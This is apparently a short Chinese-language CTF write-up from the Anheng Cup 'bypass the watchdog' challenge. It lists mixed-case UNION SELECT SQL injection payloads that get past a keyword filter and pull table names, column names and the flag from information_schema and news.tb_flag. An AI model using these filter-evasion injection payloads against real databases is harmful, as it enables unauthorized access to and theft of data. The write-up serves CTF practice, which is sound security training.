1. 輸入and 1=1發現非法提示

通過大小寫混淆可以繞過

2. 經測試，發現有5個字段

3. 查數據庫和當前用戶

4. 查表

UniOn SelEct 1,(SelEct Table_Name fROm InfOrMation_sChema.tAbles WhEre tAble_sChema=‘news‘ lImit 1,1),3,4,5#

5. 查表中字段

UniOn Select 1,(SelecT ColuMn_Name FrOm InFOrMation_sChema.COluMns WherE TaBle_NaMe=‘tb_flag
 
‘ liMit 0,1),3,4,5#

5. 查內容

UniOn Select 1,(SelecT flag FrOm news.tb_flag),3,4,5#

本文固定鏈接：http://www.cnblogs.com/hell0w/p/8119659.html

安恒杯-繞過看門狗